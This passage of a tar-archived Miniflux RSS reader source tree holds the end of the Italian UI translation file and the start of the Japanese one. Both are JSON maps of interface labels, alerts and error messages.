"page.api_keys.table.created_at": "Data di creazione",
"page.api_keys.table.actions": "Azioni",
"page.api_keys.never_used": "Mai usato",
"page.new_api_key.title": "Nuova chiave API",
"page.offline.title": "Modalità offline",
"page.offline.message": "Sei offline",
"page.offline.refresh_page": "Prova ad aggiornare la pagina",
"page.webauthn_rename.title": "Rename Passkey",
"alert.no_shared_entry": "Non ci sono voci condivise.",
"alert.no_bookmark": "Nessun preferito disponibile.",
"alert.no_category": "Nessuna categoria disponibile.",
"alert.no_category_entry": "Questa categoria non contiene alcun articolo.",
"alert.no_tag_entry": "Non ci sono voci corrispondenti a questo tag.",
"alert.no_feed_entry": "Questo feed non contiene alcun articolo.",
"alert.no_feed": "Nessun feed disponibile.",
"alert.no_feed_in_category": "Non esiste un abbonamento per questa categoria.",
"alert.no_history": "La tua cronologia al momento è vuota.",
"alert.feed_error": "Sembra ci sia un problema con questo feed",
"alert.no_search_result": "La ricerca non ha prodotto risultati.",
"alert.no_unread_entry": "Nessun articolo da leggere.",
"alert.no_user": "Tu sei l'unico utente.",
"alert.account_unlinked": "Il tuo account esterno ora è scollegato!",
"alert.account_linked": "Il tuo account esterno ora è collegato!",
"alert.pocket_linked": "Il tuo account Pocket ora è collegato!",
"alert.prefs_saved": "Preferenze salvate!",
"error.unlink_account_without_password": "Devi scegliere una password altrimenti la prossima volta non riuscirai ad accedere.",
"error.duplicate_linked_account": "Esiste già un account configurato per questo servizio!",
"error.duplicate_fever_username": "Esiste già un account Fever con lo stesso nome utente!",
"error.duplicate_googlereader_username": "Esiste già un account Google Reader con lo stesso nome utente!",
"error.pocket_request_token": "Non sono riuscito ad ottenere il request token da Pocket!",
"error.pocket_access_token": "Non sono riuscito ad ottenere l'access token da Pocket!",
"error.category_already_exists": "Questa categoria esiste già.",
"error.unable_to_create_category": "Non sono riuscito ad aggiungere questa categoria.",
"error.unable_to_update_category": "Non sono riuscito ad aggiornare questa categoria.",
"error.user_already_exists": "Questo utente esiste già.",
"error.unable_to_create_user": "Non sono riuscito ad aggiungere questo user.",
"error.unable_to_update_user": "Non sono riuscito ad aggiornare questo utente.",
"error.unable_to_update_feed": "Non sono riuscito ad aggiornare questo feed.",
"error.subscription_not_found": "Non ho trovato nessun feed.",
"error.empty_file": "Questo file è vuoto.",
"error.bad_credentials": "Nome utente o password non validi.",
"error.fields_mandatory": "Tutti i campi sono obbligatori.",
"error.title_required": "Il titolo è obbligatorio.",
"error.different_passwords": "Le password non coincidono.",
"error.password_min_length": "La password deve contenere almeno 6 caratteri.",
"error.settings_mandatory_fields": "Il nome utente, il tema, la lingua ed il fuso orario sono campi obbligatori.",
"error.settings_reading_speed_is_positive": "Le velocità di lettura devono essere numeri interi positivi.",
"error.settings_block_rule_fieldname_invalid": "Invalid Block rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_block_rule_separator_required": "Invalid Block rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_block_rule_regex_required": "Invalid Block rule: rule #%d's pattern is not provided",
"error.settings_block_rule_invalid_regex": "Invalid Block rule: rule #%d's pattern is not a valid regex",
"error.settings_keep_rule_fieldname_invalid": "Invalid Keep rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_keep_rule_separator_required": "Invalid Keep rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_keep_rule_regex_required": "Invalid Keep rule: rule #%d pattern is not provided",
"error.settings_keep_rule_invalid_regex": "Invalid Keep rule: rule #%d's pattern is not a valid regex",
"error.entries_per_page_invalid": "Il numero di articoli per pagina non è valido.",
"error.feed_mandatory_fields": "L'URL e la categoria sono obbligatori.",
"error.feed_already_exists": "Questo feed esiste già.",
"error.invalid_feed_url": "URL del feed non valido.",
"error.invalid_site_url": "URL del sito non valido.",
"error.feed_url_not_empty": "L'URL del feed non può essere vuoto.",
"error.site_url_not_empty": "L'URL del sito non può essere vuoto.",
"error.feed_title_not_empty": "Il titolo del feed non può essere vuoto.",
"error.feed_category_not_found": "Questa categoria non esiste o non appartiene a questo utente.",
"error.feed_invalid_blocklist_rule": "La regola dell'elenco di blocco non è valida.",
"error.feed_invalid_keeplist_rule": "La regola dell'elenco di conservazione non è valida.",
"error.user_mandatory_fields": "Il nome utente è obbligatorio.",
"error.api_key_already_exists": "Questa chiave API esiste già.",
"error.unable_to_create_api_key": "Impossibile creare questa chiave API.",
"error.invalid_theme": "Tema non valido.",
"error.invalid_language": "Lingua non valida.",
"error.invalid_timezone": "Fuso orario non valido.",
"error.invalid_entry_direction": "Ordinamento non valido.",
"error.invalid_display_mode": "Modalità di visualizzazione web app non valida.",
"error.invalid_gesture_nav": "Navigazione gestuale non valida.",
"error.invalid_default_home_page": "Pagina iniziale predefinita non valida!",
"form.feed.label.title": "Titolo",
"form.feed.label.site_url": "URL del sito",
"form.feed.label.feed_url": "URL del feed",
"form.feed.label.description": "Descrizione",
"form.feed.label.category": "Categoria",
"form.feed.label.crawler": "Scarica il contenuto integrale",
"form.feed.label.feed_username": "Nome utente del feed",
"form.feed.label.feed_password": "Password del feed",
"form.feed.label.user_agent": "Usa user agent personalizzato",
"form.feed.label.cookie": "Installare i cookies",
"form.feed.label.scraper_rules": "Regole di estrazione del contenuto",
"form.feed.label.rewrite_rules": "Regole di impaginazione del contenuto",
"form.feed.label.apprise_service_urls": "Comma separated list of Apprise service URLs",
"form.feed.label.blocklist_rules": "Regole di blocco",
"form.feed.label.keeplist_rules": "Regole di autorizzazione",
"form.feed.label.urlrewrite_rules": "Regole di riscrittura URL",
"form.feed.label.ignore_http_cache": "Ignora cache HTTP",
"form.feed.label.allow_self_signed_certificates": "Consenti certificati autofirmati o non validi",
"form.feed.label.disable_http2": "Disable HTTP/2 to avoid fingerprinting",
"form.feed.label.fetch_via_proxy": "Recuperare tramite proxy",
"form.feed.label.disabled": "Non aggiornare questo feed",
"form.feed.label.no_media_player": "No media player (audio/video)",
"form.feed.label.hide_globally": "Nascondere le voci nella lista globale dei non letti",
"form.feed.label.ntfy_activate": "Push entries to ntfy",
"form.feed.label.ntfy_priority": "Ntfy priority",
"form.feed.label.ntfy_max_priority": "Ntfy max priority",
"form.feed.label.ntfy_high_priority": "Ntfy high priority",
"form.feed.label.ntfy_default_priority": "Ntfy default priority",
"form.feed.label.ntfy_low_priority": "Ntfy low priority",
"form.feed.label.ntfy_min_priority": "Ntfy min priority",
"form.integration.cubox_activate": "Save entries to Cubox",
"form.integration.cubox_api_link": "Cubox API link",
"form.feed.fieldset.general": "General",
"form.feed.fieldset.rules": "Rules",
"form.feed.fieldset.network_settings": "Network Settings",
"form.feed.fieldset.integration": "Third-Party Services",
"form.category.label.title": "Titolo",
"form.category.hide_globally": "Nascondere le voci nella lista globale dei non letti",
"form.user.label.username": "Nome utente",
"form.user.label.password": "Password",
"form.user.label.confirmation": "Conferma password",
"form.user.label.admin": "Amministratore",
"form.prefs.label.language": "Lingua",
"form.prefs.label.timezone": "Fuso orario",
"form.prefs.label.theme": "Tema",
"form.prefs.label.entry_sorting": "Ordinamento articoli",
"form.prefs.label.entries_per_page": "Articoli per pagina",
"form.prefs.label.default_reading_speed": "Velocità di lettura di altre lingue (parole al minuto)",
"form.prefs.label.cjk_reading_speed": "Velocità di lettura per cinese, coreano e giapponese (caratteri al minuto)",
"form.prefs.label.display_mode": "Modalità di visualizzazione dell'app Web progressiva (PWA).",
"form.prefs.select.older_first": "Prima i più vecchi",
"form.prefs.select.recent_first": "Prima i più recenti",
"form.prefs.select.fullscreen": "Schermo intero",
"form.prefs.select.standalone": "Autonoma",
"form.prefs.select.minimal_ui": "Minimale",
"form.prefs.select.browser": "Browser",
"form.prefs.select.publish_time": "Ora di pubblicazione dell'entrata",
"form.prefs.select.created_time": "Tempo di creazione dell'entrata",
"form.prefs.select.alphabetical": "In ordine alfabetico",
"form.prefs.select.unread_count": "Conteggio dei non letti",
"form.prefs.select.none": "Nessuno",
"form.prefs.select.tap": "Tocca due volte",
"form.prefs.select.swipe": "Scorri",
"form.prefs.label.keyboard_shortcuts": "Abilita le scorciatoie da tastiera",
"form.prefs.label.entry_swipe": "Abilita lo scorrimento della voce sui touch screen",
"form.prefs.label.gesture_nav": "Gesto per navigare tra le voci",
"form.prefs.label.show_reading_time": "Mostra il tempo di lettura stimato per gli articoli",
"form.prefs.label.custom_css": "CSS personalizzati",
"form.prefs.label.custom_js": "JavaScript personalizzati",
"form.prefs.label.entry_order": "Colonna di ordinamento delle voci",
"form.prefs.label.default_home_page": "Pagina iniziale predefinita",
"form.prefs.label.categories_sorting_order": "Ordinamento delle categorie",
"form.prefs.label.mark_read_on_view": "Contrassegna automaticamente le voci come lette quando visualizzate",
"form.prefs.label.mark_read_on_view_or_media_completion": "Mark entries as read when viewed. For audio/video, mark as read at 90%% completion",
"form.prefs.label.mark_read_on_media_completion": "Only mark as read when audio/video playback reaches 90%% completion",
"form.prefs.label.mark_read_manually": "Mark entries as read manually",
"form.prefs.fieldset.application_settings": "Application Settings",
"form.prefs.fieldset.authentication_settings": "Authentication Settings",
"form.prefs.fieldset.reader_settings": "Reader Settings",
"form.prefs.fieldset.global_feed_settings": "Global Feed Settings",
"form.prefs.label.external_font_hosts": "External font hosts",
"form.prefs.help.external_font_hosts": "Space separated list of external font hosts to allow. For example: \"fonts.gstatic.com fonts.googleapis.com\".",
"error.settings_invalid_domain_list": "Invalid domain list. Please provide a space separated list of domains.",
"form.import.label.file": "File OPML",
"form.import.label.url": "URL",
"form.integration.betula_activate": "Save entries to Betula",
"form.integration.betula_url": "Betula server URL",
"form.integration.betula_token": "Betula Token",
"form.integration.fever_activate": "Abilita l'API di Fever",
"form.integration.fever_username": "Nome utente dell'account Fever",
"form.integration.fever_password": "Password dell'account Fever",
"form.integration.fever_endpoint": "Endpoint dell'API di Fever:",
"form.integration.googlereader_activate": "Abilita l'API di Google Reader",
"form.integration.googlereader_username": "Nome utente dell'account Google Reader",
"form.integration.googlereader_password": "Password dell'account Google Reader",
"form.integration.googlereader_endpoint": "Endpoint dell'API di Google Reader:",
"form.integration.pinboard_activate": "Salva gli articoli su Pinboard",
"form.integration.pinboard_token": "Token dell'API di Pinboard",
"form.integration.pinboard_tags": "Tag di Pinboard",
"form.integration.pinboard_bookmark": "Segna i preferiti come non letti",
"form.integration.instapaper_activate": "Salva gli articoli su Instapaper",
"form.integration.instapaper_username": "Nome utente dell'account Instapaper",
"form.integration.instapaper_password": "Password dell'account Instapaper",
"form.integration.pocket_activate": "Salva gli articoli su Pocket",
"form.integration.pocket_consumer_key": "Consumer key dell'account Pocket",
"form.integration.pocket_access_token": "Access token dell'account Pocket",
"form.integration.pocket_connect_link": "Collega il tuo account Pocket",
"form.integration.wallabag_activate": "Salva gli articoli su Wallabag",
"form.integration.wallabag_endpoint": "URL di base di Wallabagg",
"form.integration.wallabag_only_url": "Invia solo URL (invece del contenuto completo)",
"form.integration.wallabag_client_id": "Client ID dell'account Wallabag",
"form.integration.wallabag_client_secret": "Client secret dell'account Wallabag",
"form.integration.wallabag_username": "Nome utente dell'account Wallabag",
"form.integration.wallabag_password": "Password dell'account Wallabag",
"form.integration.notion_activate": "Save entries to Notion",
"form.integration.notion_page_id": "Notion Page ID",
"form.integration.notion_token": "Notion Secret Token",
"form.integration.apprise_activate": "Push entries to Apprise",
"form.integration.apprise_url": "Apprise API URL",
"form.integration.apprise_services_url": "Comma separated list of Apprise service URLs",
"form.integration.nunux_keeper_activate": "Salva gli articoli su Nunux Keeper",
"form.integration.nunux_keeper_endpoint": "Endpoint dell'API di Nunux Keeper",
"form.integration.nunux_keeper_api_key": "API key dell'account Nunux Keeper",
"form.integration.omnivore_activate": "Salva gli articoli su Omnivore",
"form.integration.omnivore_url": "Endpoint dell'API di Omnivore",
"form.integration.omnivore_api_key": "API key dell'account Omnivore",
"form.integration.espial_activate": "Salva gli articoli su Espial",
"form.integration.espial_endpoint": "Endpoint dell'API di Espial",
"form.integration.espial_api_key": "API key dell'account Espial",
"form.integration.espial_tags": "Tag di Espial",
"form.integration.readwise_activate": "Save entries to Readwise Reader",
"form.integration.readwise_api_key": "Readwise Reader Access Token",
"form.integration.readwise_api_key_link": "Get your Readwise Access Token",
"form.integration.telegram_bot_activate": "Invia nuovi articoli alla chat di Telegram",
"form.integration.telegram_bot_token": "Token bot",
"form.integration.telegram_chat_id": "ID chat",
"form.integration.telegram_topic_id": "Topic ID",
"form.integration.telegram_bot_disable_web_page_preview": "Disable web page preview",
"form.integration.telegram_bot_disable_notification": "Disable notification",
"form.integration.telegram_bot_disable_buttons": "Disable buttons",
"form.integration.linkace_activate": "Salva gli articoli su LinkAce",
"form.integration.linkace_endpoint": "Endpoint dell'API di LinkAce",
"form.integration.linkace_api_key": "API key dell'account LinkAce",
"form.integration.linkace_tags": "LinkAce Tags",
"form.integration.linkace_is_private": "Rendi i link privati",
"form.integration.linkace_check_disabled": "Disabilita i controlli",
"form.integration.linkding_activate": "Salva gli articoli su Linkding",
"form.integration.linkding_endpoint": "Endpoint dell'API di Linkding",
"form.integration.linkding_api_key": "API key dell'account Linkding",
"form.integration.linkding_tags": "Linkding Tags",
"form.integration.linkding_bookmark": "Segna i preferiti come non letti",
"form.integration.linkwarden_activate": "Salva gli articoli su Linkwarden",
"form.integration.linkwarden_endpoint": "Endpoint dell'API di Linkwarden",
"form.integration.linkwarden_api_key": "API key dell'account Linkwarden",
"form.integration.matrix_bot_activate": "Trasferimento di nuovi articoli a Matrix",
"form.integration.matrix_bot_user": "Nome utente per Matrix",
"form.integration.matrix_bot_password": "Password per l'utente Matrix",
"form.integration.matrix_bot_url": "URL del server Matrix",
"form.integration.matrix_bot_chat_id": "ID della stanza Matrix",
"form.integration.raindrop_activate": "Save entries to Raindrop",
"form.integration.raindrop_token": "(Test) Token",
"form.integration.raindrop_collection_id": "Collection ID",
"form.integration.raindrop_tags": "Tags (comma-separated)",
"form.integration.readeck_activate": "Salva gli articoli su Readeck",
"form.integration.readeck_endpoint": "Endpoint dell'API di Readeck",
"form.integration.readeck_api_key": "API key dell'account Readeck",
"form.integration.readeck_labels": "Readeck Labels",
"form.integration.readeck_only_url": "Invia solo URL (invece del contenuto completo)",
"form.integration.shiori_activate": "Salva gli articoli su Shiori",
"form.integration.shiori_endpoint": "Endpoint dell'API di Shiori",
"form.integration.shiori_username": "Nome utente dell'account Shiori",
"form.integration.shiori_password": "Password dell'account Shiori",
"form.integration.shaarli_activate": "Save articles to Shaarli",
"form.integration.shaarli_endpoint": "Shaarli URL",
"form.integration.shaarli_api_secret": "Shaarli API Secret",
"form.integration.webhook_activate": "Enable Webhook",
"form.integration.webhook_url": "Webhook URL",
"form.integration.webhook_secret": "Webhook Secret",
"form.integration.rssbridge_activate": "Check RSS-Bridge when adding subscriptions",
"form.integration.rssbridge_url": "RSS-Bridge server URL",
"form.api_key.label.description": "Etichetta chiave API",
"form.integration.ntfy_activate": "Push entries to ntfy",
"form.integration.ntfy_topic": "Ntfy topic",
"form.integration.ntfy_url": "Ntfy URL (optional, default is ntfy.sh)",
"form.integration.ntfy_api_token": "Ntfy API Token (optional)",
"form.integration.ntfy_username": "Ntfy Username (optional)",
"form.integration.ntfy_password": "Ntfy Password (optional)",
"form.integration.ntfy_icon_url": "Ntfy Icon URL (optional)",
"form.integration.ntfy_internal_links": "Use internal links on click (optional)",
"form.integration.discord_activate": "Push entries to Discord",
"form.integration.discord_webhook_link": "Discord Webhook link",
"form.submit.loading": "Caricamento in corso...",
"form.submit.saving": "Salvataggio in corso...",
"time_elapsed.not_yet": "non ancora",
"time_elapsed.yesterday": "ieri",
"time_elapsed.now": "adesso",
"time_elapsed.minutes": [
"%d minuto fa",
"%d minuti fa"
],
"time_elapsed.hours": [
"%d ora fa",
"%d ore fa"
],
"time_elapsed.days": [
"%d giorno fa",
"%d giorni fa"
],
"time_elapsed.weeks": [
"%d settimana fa",
"%d settimane fa"
],
"time_elapsed.months": [
"%d mese fa",
"%d mesi fa"
],
"time_elapsed.years": [
"%d anno fa",
"%d anni fa"
],
"alert.too_many_feeds_refresh": [
"You have triggered too many feed refreshes. Please wait %d minute before trying again.",
"You have triggered too many feed refreshes. Please wait %d minutes before trying again."
],
"alert.background_feed_refresh": "All feeds are being refreshed in the background. You can continue to use Miniflux while this process is running.",
"error.http_response_too_large": "The HTTP response is too large. You could increase the HTTP response size limit in the global settings (requires a server restart).",
"error.http_body_read": "Unable to read the HTTP body: %v.",
"error.http_empty_response_body": "The HTTP response body is empty.",
"error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?",
"error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.",
"error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.",
"error.network_timeout": "This website is too slow and the request timed out: %v",
"error.http_client_error": "HTTP client error: %v.",
"error.http_not_authorized": "Access to this website is not authorized. It could be a bad username or password.",
"error.http_too_many_requests": "Miniflux generated too many requests to this website. Please, try again later or change the application configuration.",
"error.http_forbidden": "Access to this website is forbidden. Perhaps, this website has a bot protection mechanism?",
"error.http_resource_not_found": "The requested resource is not found. Please, verify the URL.",
"error.http_internal_server_error": "The website is not available at the moment due to a server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_bad_gateway": "The website is not available at the moment due to a bad gateway error. The problem is not on Miniflux side. Please, try again later.",
"error.http_service_unavailable": "The website is not available at the moment due to an internal server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_gateway_timeout": "The website is not available at the moment due to a gateway timeout error. The problem is not on Miniflux side. Please, try again later.",
"error.http_unexpected_status_code": "The website is not available at the moment due to an unexpected HTTP status code: %d. The problem is not on Miniflux side. Please, try again later.",
"error.database_error": "Database error: %v.",
"error.category_not_found": "This category does not exist or does not belong to this user.",
"error.duplicated_feed": "This feed already exists.",
"error.unable_to_parse_feed": "Unable to parse this feed: %v.",
"error.feed_not_found": "This feed does not exist or does not belong to this user.",
"error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.",
"error.feed_format_not_detected": "Unable to detect feed format: %v.",
"form.prefs.label.media_playback_rate": "Velocità di riproduzione dell'audio/video",
"error.settings_media_playback_rate_range": "La velocità di riproduzione non rientra nell'intervallo",
"enclosure_media_controls.seek" : "Seek:",
"enclosure_media_controls.seek.title" : "Seek %s seconds",
"enclosure_media_controls.speed" : "Speed:",
"enclosure_media_controls.speed.faster" : "Faster",
"enclosure_media_controls.speed.faster.title" : "Faster by %sx",
"enclosure_media_controls.speed.slower" : "Slower",
"enclosure_media_controls.speed.slower.title" : "Slower by %sx",
"enclosure_media_controls.speed.reset" : "Reset",
"enclosure_media_controls.speed.reset.title" : "Reset speed to 1x"
}
v2-2.2.5/internal/locale/translations/ja_JP.json 0000664 0000000 0000000 00000107743 14743520056 0021543 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Skip to content",
"confirm.question": "よろしいですか?",
"confirm.question.refresh": "強制的に更新しますか？",
"confirm.yes": "はい",
"confirm.no": "いいえ",
"confirm.loading": "実行中…",
"action.subscribe": "フィードを購読",
"action.save": "保存",
"action.or": "または",
"action.cancel": "取り消し",
"action.remove": "削除",
"action.remove_feed": "このフィードを削除",
"action.update": "更新",
"action.edit": "編集",
"action.download": "ダウンロード",
"action.import": "インポート",
"action.login": "ログイン",
"action.home_screen": "ホームスクリーンに追加",
"tooltip.keyboard_shortcuts": "キーボードショートカット: %s",
"tooltip.logged_user": "%s としてログイン中",
"menu.title": "Menu",
"menu.home_page": "Home page",
"menu.unread": "未読",
"menu.starred": "星付き",
"menu.history": "履歴",
"menu.feeds": "フィード一覧",
"menu.categories": "カテゴリ",
"menu.settings": "設定",
"menu.logout": "ログアウト",
"menu.preferences": "設定情報",
"menu.integrations": "連携",
"menu.sessions": "セッション",
"menu.users": "ユーザー一覧",
"menu.about": "ソフトウェア情報",
"menu.export": "エクスポート",
"menu.import": "インポート",
"menu.search": "検索",
"menu.create_category": "カテゴリを作成",
"menu.mark_page_as_read": "このページを既読にする",
"menu.mark_all_as_read": "すべて既読にする",
"menu.show_all_entries": "すべての記事を表示",
"menu.show_only_unread_entries": "未読の記事だけを表示",
"menu.show_only_starred_entries": "Show only starred entries",
"menu.refresh_feed": "更新",
"menu.refresh_all_feeds": "すべてのフィードをバックグラウンドで更新",
"menu.edit_feed": "編集",
"menu.edit_category": "編集",
"menu.add_feed": "フィードを購読",
"menu.add_user": "ユーザーを追加",
"menu.flush_history": "履歴をクリア",
"menu.feed_entries": "記事一覧",
"menu.api_keys": "API キー",
"menu.create_api_key": "新しい API キーを作成する",
"menu.shared_entries": "共有エントリ",
"search.label": "検索",
"search.placeholder": "…を検索",
"search.submit": "Search",
"pagination.last": "Last",
"pagination.next": "次",
"pagination.first": "First",
"pagination.previous": "前",
"entry.status.unread": "未読にする",
"entry.status.read": "既読にする",
"entry.status.toast.unread": "未読にしました",
"entry.status.toast.read": "既読にしました",
"entry.status.title": "記事の状態を変更",
"entry.bookmark.toggle.on": "星を付ける",
"entry.bookmark.toggle.off": "星を外す",
"entry.bookmark.toast.on": "星を付けました",
"entry.bookmark.toast.off": "星を外しました",
"entry.state.saving": "保存中…",
"entry.state.loading": "読み込み中…",
"entry.save.label": "保存",
"entry.save.title": "この記事を保存",
"entry.save.completed": "完了!",
"entry.save.toast.completed": "記事は保存されました",
"entry.scraper.label": "ダウンロード",
"entry.scraper.title": "オリジナルの内容を取得",
"entry.scraper.completed": "完了!",
"entry.external_link.label": "外部リンク",
"entry.comments.label": "コメント",
"entry.comments.title": "コメントを見る",
"entry.share.label": "共有",
"entry.share.title": "この記事を共有する",
"entry.unshare.label": "共有を解除",
"entry.shared_entry.title": "公開リンクを開く",
"entry.shared_entry.label": "共有する",
"entry.estimated_reading_time": [
"%d 分で読めます"
],
"entry.tags.label": "タグ:",
"page.shared_entries.title": "共有エントリ",
"page.shared_entries_count": [
"%d shared entry"
],
"page.unread.title": "未読",
"page.unread_entry_count": [
"%d unread entry"
],
"page.total_entry_count": [
"%d entry in total"
],
"page.starred.title": "星付き",
"page.starred_entry_count": [
"%d starred entry"
],
"page.categories.title": "カテゴリ",
"page.categories.no_feed": "フィードはありません。",
"page.categories.entries": "記事一覧",
"page.categories.feeds": "フィード一覧",
"page.categories.feed_count": [
"%d 件のフィードがあります。"
],
"page.categories_count": [
"%d category"
],
"page.new_category.title": "新規カテゴリ",
"page.new_user.title": "新規ユーザー",
"page.edit_category.title": "カテゴリを編集: %s",
"page.edit_user.title": "ユーザーを編集: %s",
"page.feeds.title": "フィード一覧",
"page.category_label": "Category: %s",
"page.feeds.last_check": "最終チェック:",
"page.feeds.next_check": "Next check:",
"page.feeds.read_counter": "既読記事の数",
"page.feeds.error_count": [
"%d 個のエラー"
],
"page.history.title": "履歴",
"page.read_entry_count": [
"%d read entry"
],
"page.import.title": "インポート",
"page.search.title": "検索結果",
"page.about.title": "ソフトウェア情報",
"page.about.credits": "著作権表示",
"page.about.version": "バージョン:",
"page.about.build_date": "ビルド日時:",
"page.about.author": "作者:",
"page.about.license": "ライセンス:",
"page.about.global_config_options": "グローバル構成オプション",
"page.about.postgres_version": "Postgres バージョン:",
"page.about.go_version": "Go バージョン:",
"page.add_feed.title": "新規フィード",
"page.add_feed.no_category": "カテゴリが存在しません。カテゴリが少なくとも1つ必要です。",
"page.add_feed.label.url": "URL",
"page.add_feed.submit": "フィードを探索して追加",
"page.add_feed.legend.advanced_options": "高度な設定",
"page.add_feed.choose_feed": "フィードを選択",
"page.edit_feed.title": "フィードを編集: %s",
"page.edit_feed.last_check": "最終チェック:",
"page.edit_feed.last_modified_header": "Last-Modified ヘッダー:",
"page.edit_feed.etag_header": "ETag ヘッダー:",
"page.edit_feed.no_header": "なし",
"page.edit_feed.last_parsing_error": "直近の解析エラー",
"page.entry.attachments": "添付ファイル",
"page.keyboard_shortcuts.title": "キーボードショートカット",
"page.keyboard_shortcuts.subtitle.sections": "セクションを移動する",
"page.keyboard_shortcuts.subtitle.items": "アイテム間を移動する",
"page.keyboard_shortcuts.subtitle.pages": "ページ間を移動する",
"page.keyboard_shortcuts.subtitle.actions": "アクション",
"page.keyboard_shortcuts.go_to_unread": "未読",
"page.keyboard_shortcuts.go_to_starred": "星付き",
"page.keyboard_shortcuts.go_to_history": "履歴",
"page.keyboard_shortcuts.go_to_feeds": "フィード一覧",
"page.keyboard_shortcuts.go_to_categories": "カテゴリ",
"page.keyboard_shortcuts.go_to_settings": "設定",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "キーボードショートカットを表示",
"page.keyboard_shortcuts.go_to_previous_item": "前のアイテム",
"page.keyboard_shortcuts.go_to_next_item": "次のアイテム",
"page.keyboard_shortcuts.go_to_feed": "フィード",
"page.keyboard_shortcuts.go_to_previous_page": "前のページ",
"page.keyboard_shortcuts.go_to_next_page": "次のページ",
"page.keyboard_shortcuts.go_to_bottom_item": "一番下の項目に移動",
"page.keyboard_shortcuts.go_to_top_item": "先頭の項目に移動",
"page.keyboard_shortcuts.open_item": "選択されたアイテムを開く",
"page.keyboard_shortcuts.open_original": "オリジナルのリンクを開く",
"page.keyboard_shortcuts.open_original_same_window": "現在のタブでオリジナルのリンクを開く",
"page.keyboard_shortcuts.open_comments": "コメントリンクを開く",
"page.keyboard_shortcuts.open_comments_same_window": "現在のタブでコメントリンクを開く",
"page.keyboard_shortcuts.toggle_read_status_next": "既読/未読を切り替えて次のアイテムに移動",
"page.keyboard_shortcuts.toggle_read_status_prev": "既読/未読を切り替えて前のアイテムに移動",
"page.keyboard_shortcuts.refresh_all_feeds": "すべてのフィードをバックグラウンドで更新",
"page.keyboard_shortcuts.mark_page_as_read": "現在のページの記事をすべて既読にする",
"page.keyboard_shortcuts.download_content": "オリジナルの内容をダウンロード",
"page.keyboard_shortcuts.toggle_bookmark_status": "星を付ける/外す",
"page.keyboard_shortcuts.save_article": "記事を保存",
"page.keyboard_shortcuts.scroll_item_to_top": "アイテムが上端になるようにスクロール",
"page.keyboard_shortcuts.remove_feed": "このフィードを削除",
"page.keyboard_shortcuts.go_to_search": "検索フォームに移動",
"page.keyboard_shortcuts.toggle_entry_attachments": "添付ファイルを開く/閉じる",
"page.keyboard_shortcuts.close_modal": "モーダルダイアログを閉じる",
"page.users.title": "ユーザー一覧",
"page.users.username": "ユーザー名",
"page.users.never_logged": "未ログイン",
"page.users.admin.yes": "管理者",
"page.users.admin.no": "非管理者",
"page.users.actions": "アクション",
"page.users.last_login": "最終ログイン",
"page.users.is_admin": "管理者",
"page.settings.title": "設定",
"page.settings.link_google_account": "Google アカウントと接続する",
"page.settings.unlink_google_account": "Google アカウントと接続を解除する",
"page.settings.link_oidc_account": "%s アカウントと接続する",
"page.settings.unlink_oidc_account": "%s アカウントと接続を解除する",
"page.settings.webauthn.passkeys": "Passkeys",
"page.settings.webauthn.actions": "Actions",
"page.settings.webauthn.passkey_name": "Passkey Name",
"page.settings.webauthn.added_on": "Added On",
"page.settings.webauthn.last_seen_on": "Last Used",
"page.settings.webauthn.register": "パスキーを登録する",
"page.settings.webauthn.register.error": "パスキーを登録できません",
"page.login.webauthn_login.help": "Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).",
"page.settings.webauthn.delete": [
"%d 個のパスキーを削除"
],
"page.login.title": "ログイン",
"page.login.google_signin": "Google アカウントでログイン",
"page.login.oidc_signin": "%s アカウントでログイン",
"page.login.webauthn_login": "パスキーでログイン",
"page.login.webauthn_login.error": "パスキーでログインできない",
"page.integrations.title": "連携",
"page.integration.miniflux_api": "Miniflux API",
"page.integration.miniflux_api_endpoint": "API Endpoint",
"page.integration.miniflux_api_username": "ユーザー名",
"page.integration.miniflux_api_password": "パスワード",
"page.integration.miniflux_api_password_value": "アカウントのパスワード",
"page.integration.bookmarklet": "ブックマークレット",
"page.integration.bookmarklet.name": "Miniflux に追加",
"page.integration.bookmarklet.instructions": "このリンクをブラウザのブックマークへドラッグしてください。",
"page.integration.bookmarklet.help": "この特別なリンクを使ってブラウザから直接ウェブサイトのフィードを購読できます。",
"page.sessions.title": "セッション",
"page.sessions.table.date": "日付",
"page.sessions.table.ip": "IP アドレス",
"page.sessions.table.user_agent": "User Agent",
"page.sessions.table.actions": "アクション",
"page.sessions.table.current_session": "現在のセッション",
"page.api_keys.title": "API キー",
"page.api_keys.table.description": "説明",
"page.api_keys.table.token": "トークン",
"page.api_keys.table.last_used_at": "最終使用",
"page.api_keys.table.created_at": "作成日",
"page.api_keys.table.actions": "アクション",
"page.api_keys.never_used": "未使用",
"page.new_api_key.title": "新しい API キー",
"page.offline.title": "オフラインモード",
"page.offline.message": "オフラインです",
"page.offline.refresh_page": "ページを更新してみてください",
"page.webauthn_rename.title": "Rename Passkey",
"alert.no_shared_entry": "共有エントリはありません。",
"alert.no_bookmark": "現在星付きはありません。",
"alert.no_category": "カテゴリが存在しません。",
"alert.no_category_entry": "このカテゴリには記事がありません。",
"alert.no_tag_entry": "このタグに一致するエントリーはありません。",
"alert.no_feed_entry": "このフィードには記事がありません。",
"alert.no_feed": "何も購読していません。",
"alert.no_feed_in_category": "このカテゴリには購読中のフィードがありません。",
"alert.no_history": "現在履歴はありません。",
"alert.feed_error": "このフィードには問題があります。",
"alert.no_search_result": "検索で何も見つかりませんでした。",
"alert.no_unread_entry": "未読の記事はありません。",
"alert.no_user": "あなたが唯一のユーザーです。",
"alert.account_unlinked": "外部アカウントとのリンクが解除されました!",
"alert.account_linked": "外部アカウントとリンクされました!",
"alert.pocket_linked": "Pocket アカウントとリンクされました!",
"alert.prefs_saved": "設定情報は保存されました!",
"error.unlink_account_without_password": "パスワードを設定しなければ再びログインすることはできません。",
"error.duplicate_linked_account": "別なユーザーが既にこのサービスの同じユーザーとリンクしています。",
